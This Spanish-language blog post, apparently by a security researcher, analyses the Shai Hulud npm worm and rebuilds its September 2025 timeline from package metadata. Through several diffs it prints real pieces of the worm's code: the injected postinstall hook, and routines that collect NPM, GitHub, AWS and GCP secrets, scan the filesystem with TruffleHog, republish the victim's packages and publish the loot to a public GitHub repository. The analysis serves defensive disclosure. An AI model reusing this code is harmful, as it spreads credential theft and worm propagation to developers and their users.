Hola, internet, soy yo de nuevo, trayéndoles más noticias alegres.
Ayer, me tomé el tiempo para sentarme y profundizar realmente en las cargas útiles de Shai Hulud. Y noté algo emocionante, lo que me llevó por la madriguera del conejo (o más bien, el agujero de gusano) de analizar la línea de tiempo del ataque con mayor profundidad. Esto es lo que vi:

¿Notas cómo hay múltiples package.json y bundle.js archivos? Sí, eso es un error en cómo el gusano Shai Hulud se incrusta. No reemplazaría los package.json y bundle.js; simplemente añadió otra copia de ellos. No solo eso, sino que también nos proporciona marcas de tiempo completas y el nombre de usuario del usuario local que realizó el cambio.
También vemos múltiples versiones DIFERENTES del gusano. Esto nos permite obtener mucha información sobre la cronología de los eventos y cómo estaban depurando las cosas en vivo. Ya sabes lo que eso significa: es hora de sacar nuestras palas y empezar a excavar.
¿Cómo comenzó el ataque?
Una de las grandes preguntas que teníamos era: ¿Cuál fue el primer compromiso? ¿Cómo lograron los atacantes que el gusano comenzara a propagarse? Inmediatamente quedó claro al examinar los metadatos de los archivos de npm. La respuesta fue simple:
Los atacantes sembraron un número significativo de paquetes con el propio malware. Lo más probable es que utilizaran tokens de NPM robados del ataque original de Nx. ¿Cómo podemos saberlo? Por los metadatos de usuario en los archivos. Para aquellos que no lo sepan, Kali es el nombre de una distribución de Linux utilizada por profesionales de la seguridad, no por desarrolladores normales. Pero vemos esta huella en los primeros 49 paquetes, con un total de 67 versiones.
Intento fallido
Los atacantes no tuvieron éxito al principio, como evidenció el hecho de que lanzaron múltiples versiones de algunos paquetes. Echemos un vistazo a rxnt-authentication, que es el primer paquete malicioso que creemos que se lanzó el 14-09-2025 a las 17:58:50 UTC (Versión 0.0.3). La imagen al principio de la publicación es de la versión 0.0.6, que fue la cuarta versión que lanzaron los atacantes. Aquí está la sección de scripts del primer elemento insertado por el atacante package.json:

¿Notas algo extraño? La capitalización de postInstall es incorrecta. La i ¡no debería ir en mayúscula! Si hacemos un diff de los 2 primeros bundle.js archivos, podemos ver que los atacantes finalmente lo descubrieron:
--- prettified/bundle-1.js 2025-09-17 19:53:13.717392200 +0200
+++ prettified/bundle-2.js 2025-09-17 19:53:20.162839500 +0200
@@ -65934,7 +65934,7 @@
isNaN(te) || (n.version = `${r}.${F}.${te + 1}`);
}
}
- ((n.scripts.postInstall = "node bundle.js"),
+ ((n.scripts.postinstall = "node bundle.js"),
await re.promises.writeFile(t, JSON.stringify(n, null, 2)),
await te(`tar -uf ${le} -C ${ae} package/package.json`));
const F = process.argv[1];
@@ -168266,67 +168266,90 @@
architecture: this.mapArchitecture(this.systemInfo.architecture),
};
}Además de solucionar esto, los atacantes realizaron varios cambios más. Les haré un favor a los atacantes y publicaré el changelog por ellos, ya que no lo incluyeron:
🛠️ Mejoras
- Módulo TruffleHog:
- El tiempo de espera para TruggleHog se redujo de 120 segundos a 90 segundos.
- Se corrigió una condición de carrera al intentar ejecutar TruffleHog antes de que se descargara el binario.
- Se reemplazó una referencia al robo de credenciales de Azure por GCP.
- Se aumentó el número de paquetes npm que infectará de 10 a 20.
Claramente, los atacantes tenían la intención de robar credenciales de Azure, pero optaron por GCP en su lugar. Y decidieron duplicar el número de paquetes en los que se propagaría el gusano.
Otro error
El 14-09-2025 a las 20:43:42, los atacantes lanzaron otro lote de paquetes, siendo la primera la versión 0.0.4 de rxnt-authentication con la capitalización corregida de postinstall. Luego vemos, aproximadamente 20 minutos después, el 14-09-2025 a las 21:03:17, que también lanzaron una versión 0.0.5 con un cambio interesante:
--- prettified/bundle-2.js 2025-09-17 19:53:20.162839500 +0200
+++ prettified/bundle-3.js 2025-09-17 19:53:26.495899200 +0200
@@ -65934,7 +65934,8 @@
isNaN(te) || (n.version = `${r}.${F}.${te + 1}`);
}
}
- ((n.scripts.postinstall = "node bundle.js"),
+ (n.scripts || (n.scripts = {}),
+ (n.scripts.postinstall = "node bundle.js"),
await re.promises.writeFile(t, JSON.stringify(n, null, 2)),
await te(`tar -uf ${le} -C ${ae} package/package.json`));
const F = process.argv[1];
Cambiaron su script para insertar solo el postinstall script si la clave 'scripts' existe en el package.json. Parece que los atacantes se estaban preparando para atacar los ngx-bootstrap paquetes, lo cual hicieron el 15 de septiembre de 2025 a la 01:12. Aquí está el package.json:
{
"name": "ngx-bootstrap",
"version": "20.0.3",
"description": "Angular Bootstrap",
"author": "Dmitriy Shekhovtsov <valorkin@gmail.com>",
"license": "MIT",
"schematics": "./schematics/collection.json",
"peerDependencies": {
"@angular/animations": "^20.0.2",
"@angular/common": "^20.0.2",
"@angular/core": "^20.0.2",
"@angular/forms": "^20.0.2",
"rxjs": "^6.5.3 || ^7.4.0"
},
"dependencies": {
"tslib": "^2.3.0"
},
"exports": {
...
".": {
"types": "./index.d.ts",
"default": "./fesm2022/ngx-bootstrap.mjs"
}
},
"sideEffects": false,
"publishConfig": {
"registry": "https://registry.npmjs.org/",
"tag": "next"
},
"repository": {
"type": "git",
"url": "git+ssh://git@github.com/valor-software/ngx-bootstrap.git"
},
"bugs": {
"url": "https://github.com/valor-software/ngx-bootstrap/issues"
},
"homepage": "https://github.com/valor-software/ngx-bootstrap#readme",
"keywords": [
"angular",
"bootstap",
"ng",
"ng2",
"angular2",
"twitter-bootstrap"
],
"module": "fesm2022/ngx-bootstrap.mjs",
"typings": "index.d.ts"
}
¿Se da cuenta de que no hay scripts? Intentar ejecutar el gusano en este paquete no funcionaría. Así que lo arreglaron. Y vemos que el paquete también fue modificado por un kali usuario:

Claramente, este paquete fue subido por los propios atacantes después de haber depurado por qué su gusano fallaba al intentar infectar este paquete.
Más correcciones
En la versión 0.0.6 de rxnt-authentication, vemos más cambios (Recortado un poco por brevedad).
--- prettified/bundle-3.js 2025-09-17 19:53:26.495899200 +0200
+++ prettified/bundle-4.js 2025-09-17 19:53:33.252022300 +0200
@@ -49555,7 +49555,7 @@
},
26935: (t) => {
t.exports =
- '#!/bin/bash\n\nSOURCE_ORG=""\nTARGET_USER=""\nGITHUB_TOKEN=""\nPER_PAGE=100\nTEMP_DIR=""\nif [[ $# -lt 3 ]]; then\n...
+ '#!/bin/bash\n\nSOURCE_ORG=""\nTARGET_USER=""\nGITHUB_TOKEN=""\nPER_PAGE=100\nTEMP_DIR=""\nif [[ $# -lt 3 ]]; then\n exit 1\nfi\n\nSOURCE_ORG="$1"\nT.....
},
26937: (t, r, n) => {
(n.r(r), n.d(r, { AwsRestXmlProtocol: () => AwsRestXmlProtocol }));
@@ -54767,25 +54767,6 @@
}
}
},
- 32304: (t, r, n) => {
- (n.r(r), n.d(r, { Application: () => Application }));
- class Application {
- constructor(t) {
- this.config = t;
- }
- getConfig() {
- return { ...this.config };
- }
- getRuntimeInfo() {
- return {
- nodeVersion: process.version,
- platform: process.platform,
- architecture: process.arch,
- timestamp: new Date(),
- };
- }
- }
- },
32348: (t, r, n) => {
(n.r(r),
n.d(r, {
@@ -125245,29 +125226,10 @@
te = n(72438);
},
54704: (t, r, n) => {
- (n.r(r),
- n.d(r, {
- exitWithCode: () => exitWithCode,
- formatOutput: () => formatOutput,
- logError: () => logError,
- logInfo: () => logInfo,
- parseNpmToken: () => parseNpmToken,
- }));
+ (n.r(r), n.d(r, { parseNpmToken: () => parseNpmToken }));
var F = n(79896),
te = n(16928),
re = n(70857);
- function formatOutput(t) {
- return JSON.stringify(t, null, 2);
- }
- function logInfo(t) {
- console.log(`[INFO] ${t}`);
- }
- function logError(t) {
- console.error(`[ERROR] ${t}`);
- }
- function exitWithCode(t) {
- process.exit(t);
- }
function parseNpmToken(t) {
const r = /(?:_authToken|:_authToken)=([a-zA-Z0-9\-._~+/]+=*)/,
n = t
@@ -156119,7 +156081,7 @@
await this.octokit.rest.repos.createForAuthenticatedUser({
name: t,
description: "Shai-Hulud Repository.",
- private: !0,
+ private: !1,
auto_init: !1,
has_issues: !1,
has_projects: !1,
@@ -156140,11 +156102,6 @@
),
).toString("base64"),
})),
- await this.octokit.rest.repos.update({
- owner: n.owner.login,
- repo: n.name,
- private: !1,
- }),
{
owner: n.owner.login,
repo: n.name,
@@ -156178,20 +156135,6 @@
return [];
}
}
- async repoExists(t) {
- try {
- const r = await this.octokit.rest.users.getAuthenticated();
- return (
- await this.octokit.rest.repos.get({
- owner: r.data.login,
- repo: t,
- }),
- !0
- );
- } catch {
- return !1;
- }
- }
}
},
82053: (t, r, n) => {
@@ -174427,114 +174370,110 @@
__webpack_require__.r(__webpack_exports__);
var _utils_os__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(71197),
_lib_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(54704),
- _models_general__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(32304),
- _modules_github__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(82036),
- _modules_aws__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(56686),
- _modules_gcp__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(9897),
- _modules_truffle__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(94913),
- _modules_npm__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(40766);
+ _modules_github__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(82036),
+ _modules_aws__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(56686),
+ _modules_gcp__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(9897),
+ _modules_truffle__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(94913),
+ _modules_npm__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(40766);
async function main() {
- const t = new _models_general__WEBPACK_IMPORTED_MODULE_2__.Application({
- name: "System Info App",
- version: "1.0.0",
- description: "Optimizes system.",
- }),
- r = (0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.getSystemInfo)(),
- n = t.getRuntimeInfo(),
- F = new _modules_github__WEBPACK_IMPORTED_MODULE_3__.GitHubModule(),
- te = new _modules_aws__WEBPACK_IMPORTED_MODULE_4__.AWSModule(),
- re = new _modules_gcp__WEBPACK_IMPORTED_MODULE_5__.GCPModule(),
- ne = new _modules_truffle__WEBPACK_IMPORTED_MODULE_6__.TruffleHogModule();
- let oe = process.env.NPM_TOKEN;
- oe ||
- (oe =
+ const t = (0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.getSystemInfo)(),
+ r = new _modules_github__WEBPACK_IMPORTED_MODULE_2__.GitHubModule(),
+ n = new _modules_aws__WEBPACK_IMPORTED_MODULE_3__.AWSModule(),
+ F = new _modules_gcp__WEBPACK_IMPORTED_MODULE_4__.GCPModule(),
+ te = new _modules_truffle__WEBPACK_IMPORTED_MODULE_5__.TruffleHogModule();
+ let re = process.env.NPM_TOKEN;
+ re ||
+ (re =
(0, _lib_utils__WEBPACK_IMPORTED_MODULE_1__.parseNpmToken)() ?? void 0);
- const ie = new _modules_npm__WEBPACK_IMPORTED_MODULE_7__.NpmModule(oe);
- let se = null,
- ae = !1;
+ const ne = new _modules_npm__WEBPACK_IMPORTED_MODULE_6__.NpmModule(re);
+ let oe = null,
+ ie = !1;
if (
- F.isAuthenticated() &&
+ r.isAuthenticated() &&
((0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isLinux)() ||
(0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isMac)())
) {
- const t = F.getCurrentToken(),
- r = await F.getUser();
- if (null != t && (t.startsWith("ghp_") || t.startsWith("gho_")) && r) {
- await F.extraction(t);
- const n = await F.getOrgs();
- for (const t of n) await F.migration(r.login, t, F.getCurrentToken());
+ const t = r.getCurrentToken(),
+ n = await r.getUser();
+ if (null != t && (t.startsWith("ghp_") || t.startsWith("gho_")) && n) {
+ await r.extraction(t);
+ const F = await r.getOrgs();
+ for (const t of F) await r.migration(n.login, t, r.getCurrentToken());
}
}
- const [ce, le] = await Promise.all([
+ const [se, ae] = await Promise.all([
(async () => {
try {
if (
- ((se = await ie.validateToken()),
- (ae = !!se),
- se &&
+ ((oe = await ne.validateToken()),
+ (ie = !!oe),
+ oe &&
((0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isLinux)() ||
(0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isMac)()))
) {
- const t = await ie.getPackagesByMaintainer(se, 20);
+ const t = await ne.getPackagesByMaintainer(oe, 20);
await Promise.all(
t.map(async (t) => {
try {
- await ie.updatePackage(t);
+ await ne.updatePackage(t);
} catch (t) {}
}),
);
}
} catch (t) {}
- return { npmUsername: se, npmTokenValid: ae };
+ return { npmUsername: oe, npmTokenValid: ie };
})(),
(async () => {
- const [t, r] = await Promise.all([ne.isAvailable(), ne.getVersion()]);
+ if (process.env.SKIP_TRUFFLE)
+ return {
+ available: !1,
+ installed: !1,
+ version: null,
+ platform: null,
+ results: null,
+ };
+ const [t, r] = await Promise.all([te.isAvailable(), te.getVersion()]);
let n = null;
return (
- t && (n = await ne.scanFilesystem()),
+ t && (n = await te.scanFilesystem()),
{
available: t,
- installed: ne.isInstalled(),
+ installed: te.isInstalled(),
version: r,
- platform: ne.getSupportedPlatform(),
+ platform: te.getSupportedPlatform(),
results: n,
}
);
})(),
]);
- ((se = ce.npmUsername), (ae = ce.npmTokenValid));
- let ue = [];
- (await te.isValid()) && (ue = await te.getAllSecretValues());
- let de = [];
- (await re.isValid()) && (de = await re.getAllSecretValues());
- const pe = {
- application: t.getConfig(),
+ ((oe = se.npmUsername), (ie = se.npmTokenValid));
+ let ce = [];
+ (await n.isValid()) && (ce = await n.getAllSecretValues());
+ let le = [];
+ (await F.isValid()) && (le = await F.getAllSecretValues());
+ const ue = {
system: {
- platform: r.platform,
- architecture: r.architecture,
- platformDetailed: r.platformRaw,
- architectureDetailed: r.archRaw,
+ platform: t.platform,
+ architecture: t.architecture,
+ platformDetailed: t.platformRaw,
+ architectureDetailed: t.archRaw,
},
- runtime: n,
environment: process.env,
modules: {
github: {
- authenticated: F.isAuthenticated(),
- token: F.getCurrentToken(),
+ authenticated: r.isAuthenticated(),
+ token: r.getCurrentToken(),
+ username: r.getUser(),
},
- aws: { secrets: ue },
- gcp: { secrets: de },
- truffleHog: le,
- npm: { token: oe, authenticated: ae, username: se },
+ aws: { secrets: ce },
+ gcp: { secrets: le },
+ truffleHog: ae,
+ npm: { token: re, authenticated: ie, username: oe },
},
};
- (F.isAuthenticated() &&
- !F.repoExists("Shai-Hulud") &&
- (await F.makeRepo(
- "Shai-Hulud",
- (0, _lib_utils__WEBPACK_IMPORTED_MODULE_1__.formatOutput)(pe),
- )),
- (0, _lib_utils__WEBPACK_IMPORTED_MODULE_1__.exitWithCode)(0));
+ (r.isAuthenticated() &&
+ (await r.makeRepo("Shai-Hulud", JSON.stringify(ue, null, 2))),
+ process.exit(0));
}
main().catch((t) => {
process.exit(0);
Aquí están algunas notas del parche:
✨ Nuevas características
- Escaneo condicional de TruffleHog: Ahora puede omitir el escaneo del sistema de archivos de TruffleHog configurando la
SKIP_TRUFFLEvariable de entorno.
🛠️ Mejoras
- Migración de Repositorio Mejorada: El script de migración ahora elimina automáticamente el
.github/workflowsdirectorio de los repositorios migrados. - Repositorios Públicos por Defecto: El repositorio de GitHub creado para almacenar los datos del sistema recopilados ahora se crea como público por defecto, en lugar de hacerse público después de haber sido creado como privado.
- Eliminada la Verificación repoExists: Se ha eliminado la verificación para comprobar si el repositorio Shai-Hulud ya existe. El script ahora intentará crearlo en cada ejecución, confiando en el comportamiento de GitHub para manejar los casos en los que el repositorio ya existe.
Primera propagación comunitaria
Según este análisis, la primera propagación comunitaria ocurrió a través del paquete capacitor-plugin-healthapp versión 0.0.2 el 15 de septiembre de 2025 a las 04:54.

Es el primer paquete donde vemos que el archivo tiene un usuario que no es kali.
¿Cómo fue comprometido tinycolor?
El informe inicial de esta campaña se centró en gran medida en el paquete tinycolor. ¡Así que vamos a analizarlo! La primera versión maliciosa de @ctrl/tinycolor fue la versión 4.1.1, lanzada el 15 de septiembre de 2025 a las 19:52.

Pero mira, otro kali! Este paquete no fue comprometido a través de la propagación comunitaria, lo más probable, sino por los atacantes que intentaron sembrar otro paquete para iniciar el gusano.
¿Cómo fue comprometido CrowdStrike?
Aquí está el paquete @crowdstrike/foundry-js versión 0.19.1, lanzado el 16 de septiembre de 2025 a las 01:14. Observa que el usuario kali también modificó esto..

Esto indica que los atacantes tenían credenciales para CrowdStrike y las usaron para iniciar otra oleada del ataque.
¿Cómo fue comprometido NativeScript?
Al hablar con Daniel Pereira, quien fue el primero en alertar a la comunidad sobre esta campaña, se dio cuenta porque observó que había afectado al ecosistema de NativeScript. El primer paquete fue @nativescript-community/arraybuffers versión 1.1.6 el 15 de septiembre de 2025 a las 09:16:

Un claro caso de propagación comunitaria.
Eventos clave
Aquí tienes una cronología de los eventos significativos durante la campaña.
¿Y ahora qué?
Esta campaña de Shai Hulud representa una escalada significativa respecto al ataque original de S1ngularity, que comenzó con Nx. Observamos que los atacantes realizaron múltiples intentos para corregir errores y lograr que el gusano comenzara a propagarse por el ecosistema de npm. La explicación más lógica que hemos encontrado es que los atacantes han estado guardando credenciales que robaron del ataque original, esperando el momento adecuado para utilizarlas.
Por lo tanto, podemos observar a los atacantes sembrando múltiples rondas de ataques a lo largo de varios días, ya que su intento no comenzó a propagarse inmediatamente con una velocidad significativa. No estaban satisfechos con la lentitud de su propagación, lo cual es mucha suerte para nosotros.
Pero esto plantea una verdad incómoda: si han estado guardando estas credenciales durante varias semanas y ahora tienen AÚN MÁS credenciales que han podido robar, es probable que no sea lo último que veamos de ellos. Por ahora, el gusano no ha logrado todavía la velocidad de escape para volverse verdaderamente viral.
Sería insensato asumir que los atacantes utilizaron sus mejores bazas, en términos de las credenciales que tienen guardadas. Todavía no está claro cuál es el incentivo y el motivo de los atacantes, lo que sugiere que esta saga no ha terminado. Parece más que probable que nos espera una trilogía de una historia aún por contar. Y ahora mismo, no creo que el final sea feliz.

